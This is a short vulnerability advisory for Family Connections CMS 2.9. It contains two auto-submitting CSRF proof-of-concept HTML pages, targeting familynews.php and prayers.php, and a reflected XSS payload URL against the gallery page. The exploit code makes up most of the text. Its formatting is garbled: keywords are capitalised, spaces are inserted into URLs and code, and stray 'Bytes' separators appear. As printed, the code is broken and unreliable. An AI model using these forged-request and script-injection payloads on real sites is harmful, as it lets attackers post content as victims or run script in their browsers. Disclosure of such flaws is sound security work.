Title: Family CMS 2.9 and earlier multiple Vulnerabilities
: Http://sourceforge.net/projects/fam-connections/files/Family%20Connections/2.9/FCMS_2.9.zip/download
Author: ahmed.elhady.mohamed@gmail.com Ahmed Elhady Mohamed www.2cto.com
Affected Versions: 2.9
Testing System Platform: ubuntu 11.4
========================================================== ========================================================== ===
Tip:
***** First we must install all optional sections during installation process .*****
1-CSRF defects:
POC 1: Page "familynews. php"
<Html>
<Head>
<Script type = "text/javascript">
Function autosubmit (){
Document. getElementById ('changesubmit '). submit ();
}
</Script>
</Head>
<Body onLoad = "autosubmit ()">
<Form method = "POST" action = "http: // [www.2cto.com]/FCMS_2.9/familynews. php" id = "ChangeSubmit">
<Input type = "hidden" name = "title" value = "test"/>
<Input type = "hidden" name = "submitadd" value = "Add"/>
<Input type = "hidden" name = "post" value = "testcsrf"/>
<Input type = "submit" value = "submit"/>
</Form>
</Body>
</Html>
Bytes --------------------------------------------------------------------------------------------------------
POC 2: page "prayers. php"
<Html>
<Head>
<Script type = "text/javascript">
Function autosubmit (){
Document. getElementById ('changesubmit '). submit ();
}
</Script>
</Head>
<Body onLoad = "autosubmit ()">
<Form method = "POST" action = "http: // [localhost]/FCMS_2.9/prayers. php" id = "ChangeSubmit">
<Input type = "hidden" name = "for" value = "test"/>
<Input type = "hidden" name = "submitadd" value = "Add"/>
<Input type = "hidden" name = "desc" value = "testtest"/>
<Input type = "submit" value = "submit"/>
</Form>
</Body>
</Html>
Bytes ----------------------------------------------------------------------------------------------------------------------------
2-reflected XSS
POC: http: // [localhost]/fcms_2.9/gallery/index. php? Uid = % 22% 3E % 3 Cscript % 3 Ealert % 28/xss/% 29% 3C/script % 3E
Fixed: enhanced filtering and Verification